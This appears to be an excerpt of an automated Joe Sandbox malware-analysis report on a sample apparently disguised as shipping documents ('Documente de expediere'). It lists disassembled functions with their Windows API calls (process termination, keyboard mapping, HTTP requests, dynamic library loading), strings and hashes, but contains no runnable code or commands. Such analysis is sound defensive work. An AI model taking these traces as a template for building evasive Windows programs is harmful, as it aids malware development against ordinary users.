                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00D27FC4
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00D27FD7
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00D27FEA
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00D27FFD
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00D28010
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00D28023
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00D28036
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00D28049
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00D2805C
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00D2806F
                                                • __mtinitlocks.LIBCMT ref: 00D27B4C
                                                  • Part of subcall function 00D27E23: InitializeCriticalSectionAndSpinCount.KERNEL32(00DBAC68,00000FA0,?,?,00D27B51,00D25E77,00DB6C70,00000014), ref: 00D27E41
                                                • __mtterm.LIBCMT ref: 00D27B55
                                                  • Part of subcall function 00D27BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00D27B5A,00D25E77,00DB6C70,00000014), ref: 00D27D3F
                                                  • Part of subcall function 00D27BBD: _free.LIBCMT ref: 00D27D46
                                                  • Part of subcall function 00D27BBD: DeleteCriticalSection.KERNEL32(00DBAC68,?,?,00D27B5A,00D25E77,00DB6C70,00000014), ref: 00D27D68
                                                • __calloc_crt.LIBCMT ref: 00D27B7A
                                                • GetCurrentThreadId.KERNEL32 ref: 00D27BA3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
                                                • String ID:
                                                • API String ID: 2942034483-0
                                                • Opcode ID: b8a86f481e77d576574d5e9fcc7d809789bcb69f7bdfe050b85a54aa5815b89c
                                                • Instruction ID: e8969d24fccf4289fefcd3d7d8618490b13a4d9e12f3b0399fcfa5c03652a5f6
                                                • Opcode Fuzzy Hash: b8a86f481e77d576574d5e9fcc7d809789bcb69f7bdfe050b85a54aa5815b89c
                                                • Instruction Fuzzy Hash: 02F0903251D33259E63477797C47A4B2684DF3173CF25069AF864C51D2FF21884145B0
                                                Function 00D027EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D0281D
                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00D02825
                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D02830
                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D0283B
                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 00D02843
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00D0284B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Virtual
                                                • String ID:
                                                • API String ID: 4278518827-0
                                                • Opcode ID: cfd9cc80d714ddd27a51dbf2d70aa19fb70e9b57820cb16d80f56ec46b1f2918
                                                • Instruction ID: ce618ae3f6eb96ce7497156fd77aed6a95471cafacf16e996db2968cf53e18c7
                                                • Opcode Fuzzy Hash: cfd9cc80d714ddd27a51dbf2d70aa19fb70e9b57820cb16d80f56ec46b1f2918
                                                • Instruction Fuzzy Hash: 44016CB0901B5D7DE3008F6A8C85B52FFA8FF15354F00411B915C47A81C7F5A864CBE5
                                                Function 00D49AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
                                                • String ID:
                                                • API String ID: 1423608774-0
                                                • Opcode ID: 84fb02a2bc9cf9e0895d26ac0bf031930c1bf321279cc6679b16a2ebeb067839
                                                • Instruction ID: 002868e9e2901f612109c5b7dd16c3d16f376c44cd0d572c56771fe5fc637b2a
                                                • Opcode Fuzzy Hash: 84fb02a2bc9cf9e0895d26ac0bf031930c1bf321279cc6679b16a2ebeb067839
                                                • Instruction Fuzzy Hash: 49018132152311ABDB152B55EC59EEFB77AFF89711B080529F503D22E0DB649800DB70
                                                Function 00D47BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00D47C07
                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00D47C1D
                                                • GetWindowThreadProcessId.USER32(?,?), ref: 00D47C2C
                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D47C3B
                                                • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D47C45
                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00D47C4C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                • String ID:
                                                • API String ID: 839392675-0
                                                • Opcode ID: 36c5545e2ab5d2b47a8fc5b060bfe3187d40ae092017eaf98d6d8406a48be1e1
                                                • Instruction ID: c5914473dd05cc1e4c9e2c5cd51bd36eb7fe50f47ad8728b1ca563d1b31b0dbe
                                                • Opcode Fuzzy Hash: 36c5545e2ab5d2b47a8fc5b060bfe3187d40ae092017eaf98d6d8406a48be1e1
                                                • Instruction Fuzzy Hash: 37F01772251258BBE6215B529C0EEEF7B7DEFC6B21F000018FA01D12D1E7A05A41C7B5
                                                Function 00D49A20 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,?), ref: 00D49A33
                                                • EnterCriticalSection.KERNEL32(?,?,?,?,00D75DEE,?,?,?,?,?,00D0ED63), ref: 00D49A44
                                                • TerminateThread.KERNEL32(?,000001F6,?,?,?,00D75DEE,?,?,?,?,?,00D0ED63), ref: 00D49A51
                                                • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00D75DEE,?,?,?,?,?,00D0ED63), ref: 00D49A5E
                                                  • Part of subcall function 00D493D1: CloseHandle.KERNEL32(?,?,00D49A6B,?,?,?,00D75DEE,?,?,?,?,?,00D0ED63), ref: 00D493DB
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00D49A71
                                                • LeaveCriticalSection.KERNEL32(?,?,?,?,00D75DEE,?,?,?,?,?,00D0ED63), ref: 00D49A78
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                • String ID:
                                                • API String ID: 3495660284-0
                                                • Opcode ID: 377af84b2a52330796d0e97106d28434189a3127b852aa0c9c9bc9477d86bdf9
                                                • Instruction ID: cd84fcab6fce9c7d2240fcbb4576facad46cd61ad163a6bd6a5f6a13a03fa1eb
                                                • Opcode Fuzzy Hash: 377af84b2a52330796d0e97106d28434189a3127b852aa0c9c9bc9477d86bdf9
                                                • Instruction Fuzzy Hash: 77F03432151311ABD7512BA4EC8DEAFB73AFB89316B180425F603E12E09BB59801DB74
                                                Function 00D01CDE Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1F4EA: std::exception::exception.LIBCMT ref: 00D1F51E
                                                  • Part of subcall function 00D1F4EA: __CxxThrowException@8.LIBCMT ref: 00D1F533
                                                • __swprintf.LIBCMT ref: 00D01EA6
                                                Strings
                                                • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00D01D49
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Exception@8Throw__swprintfstd::exception::exception
                                                • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                • API String ID: 2125237772-557222456
                                                • Opcode ID: 8e9a6898ad6a24d0a2aef81bb5c4788f2f4087d8da279d5077000a6af8827c79
                                                • Instruction ID: 5d28ef8dfc289899ebe59bec6e478cf4a85d6c1c8edd08f96557a969b9b6e368
                                                • Opcode Fuzzy Hash: 8e9a6898ad6a24d0a2aef81bb5c4788f2f4087d8da279d5077000a6af8827c79
                                                • Instruction Fuzzy Hash: 43915A75114201AFC724EF24C895E6EB7A4EF95700F04892DF989972E1EB31ED04CBB2
                                                Function 00D5AFE0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00D5B006
                                                • CharUpperBuffW.USER32(?,?), ref: 00D5B115
                                                • VariantClear.OLEAUT32(?), ref: 00D5B298
                                                  • Part of subcall function 00D49DC5: VariantInit.OLEAUT32(00000000), ref: 00D49E05
                                                  • Part of subcall function 00D49DC5: VariantCopy.OLEAUT32(?,?), ref: 00D49E0E
                                                  • Part of subcall function 00D49DC5: VariantClear.OLEAUT32(?), ref: 00D49E1A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                • API String ID: 4237274167-1221869570
                                                • Opcode ID: f19dd843f48c145f99684b5346476d170e5308504457efce1aec2dec76fe57f2
                                                • Instruction ID: 3335c558e6b5a10f8d1e9ffbc25ed6fb2dedb2950016fd63ddcdd1e1818bc637
                                                • Opcode Fuzzy Hash: f19dd843f48c145f99684b5346476d170e5308504457efce1aec2dec76fe57f2
                                                • Instruction Fuzzy Hash: 93916C706083019FCB10DF28C491A5AB7E4EF89715F04496EFC9A9B392DB31E949CB72
                                                Function 00D45347 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1C6F4: _wcscpy.LIBCMT ref: 00D1C717
                                                • _memset.LIBCMT ref: 00D45438
                                                • GetMenuItemInfoW.USER32(?), ref: 00D45467
                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00D45513
                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00D4553D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                • String ID: 0
                                                • API String ID: 4152858687-4108050209
                                                • Opcode ID: 65641d47823254858db6fcfda2890c1244426c89c65141db5f1f5c8bbf218600
                                                • Instruction ID: 7adde4930fc51985828f62e66922fd7bc2ccea2a6d0163d3a17d69e2aaf8bf05
                                                • Opcode Fuzzy Hash: 65641d47823254858db6fcfda2890c1244426c89c65141db5f1f5c8bbf218600
                                                • Instruction Fuzzy Hash: 0551E0711147019BD7159F28E845BBBB7E9EB86310F08062DF89AD71DBDB60CD448BB2
                                                Function 00D40213 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00D4027B
                                                • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00D402B1
                                                • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00D402C2
                                                • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00D40344
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$AddressCreateInstanceProc
                                                • String ID: DllGetClassObject
                                                • API String ID: 753597075-1075368562
                                                • Opcode ID: f124df0d0615357e9b2ef43f787a72cc6eae6591a61da32624b95ebc664f5565
                                                • Instruction ID: 7a00db6732068eb855f78b245086c0b4409370049a4764cfbb64babbbcbcad00
                                                • Opcode Fuzzy Hash: f124df0d0615357e9b2ef43f787a72cc6eae6591a61da32624b95ebc664f5565
                                                • Instruction Fuzzy Hash: 64414C71600204EFDB05DF54C889BAA7FB9EF44714B1880A9EE09DF256D7B1D944CBB0
                                                Function 00D45007 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D45075
                                                • GetMenuItemInfoW.USER32 ref: 00D45091
                                                • DeleteMenu.USER32(00000004,00000007,00000000), ref: 00D450D7
                                                • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00DC1708,00000000), ref: 00D45120
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Delete$InfoItem_memset
                                                • String ID: 0
                                                • API String ID: 1173514356-4108050209
                                                • Opcode ID: fa7c6b614bcb0ebca9529c1a9ef92f28b0924c449e27e94b6ef089fecdcd1393
                                                • Instruction ID: ab85e78b1f9a8125cba8806ed9c3482c5af40f7775cf8c5236616befaaa4c61a
                                                • Opcode Fuzzy Hash: fa7c6b614bcb0ebca9529c1a9ef92f28b0924c449e27e94b6ef089fecdcd1393
                                                • Instruction Fuzzy Hash: EB41CF302047419FD720DF24E885B2ABBE4EF89724F084A1EF895972D6D730E800CB72
                                                Function 00D60567 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?,?,?), ref: 00D60587
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharLower
                                                • String ID: cdecl$none$stdcall$winapi
                                                • API String ID: 2358735015-567219261
                                                • Opcode ID: b17c2e4cc46f53fbddf4b33811cf45718086db94f9ec661f37659fe8ad6d3f16
                                                • Instruction ID: 6c50099def5aa7b6814bc8245700309671ba7f8a7422544c2f79df5e22b22dae
                                                • Opcode Fuzzy Hash: b17c2e4cc46f53fbddf4b33811cf45718086db94f9ec661f37659fe8ad6d3f16
                                                • Instruction Fuzzy Hash: 98317C71500216ABCF00EF94CC41AEFB7B5FF54314B10862AE86AA76D1DB71E955CBB0
                                                Function 00D3B80A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00D3B88E
                                                • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00D3B8A1
                                                • SendMessageW.USER32(?,00000189,?,00000000), ref: 00D3B8D1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 3850602802-1403004172
                                                • Opcode ID: c0b67697fe2606e57d1178caf40f0665ff70b99c813ef17acf9598917dd56a8a
                                                • Instruction ID: 5ee7ed38a40fe2b2a88c9b0e84a3fa105f1a6e7a000141a91880ebad7b388619
                                                • Opcode Fuzzy Hash: c0b67697fe2606e57d1178caf40f0665ff70b99c813ef17acf9598917dd56a8a
                                                • Instruction Fuzzy Hash: 012105B2A00208BFDB04AB64D886EFE777DDF05360F14422AF525A31E1DB744D0A9B70
                                                Function 00D543E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00D54401
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D54427
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00D54457
                                                • InternetCloseHandle.WININET(00000000), ref: 00D5449E
                                                  • Part of subcall function 00D55052: GetLastError.KERNEL32(?,?,00D543CC,00000000,00000000,00000001), ref: 00D55067
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
                                                • String ID:
                                                • API String ID: 1951874230-3916222277
                                                • Opcode ID: b116ab29934491afa74f4463a2c5c73ddec0f81028d31eae4751ba2dcac09345
                                                • Instruction ID: fe9128ac8d175eec283ecc916106b03839b8e908ec1eced583dc4c86e13ac94d
                                                • Opcode Fuzzy Hash: b116ab29934491afa74f4463a2c5c73ddec0f81028d31eae4751ba2dcac09345
                                                • Instruction Fuzzy Hash: AB21C2B1540208BFEB119F54DC85FBF77EDEB4875AF10801AFD06D2280EAA48D499772
                                                Function 00D690E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D1D1BA
                                                  • Part of subcall function 00D1D17C: GetStockObject.GDI32(00000011), ref: 00D1D1CE
                                                  • Part of subcall function 00D1D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D1D1D8
                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00D6915C
                                                • LoadLibraryW.KERNEL32(?), ref: 00D69163
                                                • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00D69178
                                                • DestroyWindow.USER32(?), ref: 00D69180
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                • String ID: SysAnimate32
                                                • API String ID: 4146253029-1011021900
                                                • Opcode ID: 7edc151fba274c7ee3f75ab4a310f26fe1048e606bc2168d639effdad28a9759
                                                • Instruction ID: cba9fb7e1186b92ab931ac2df5fe5a12444f2fd72f2576df9d7566a350b4842e
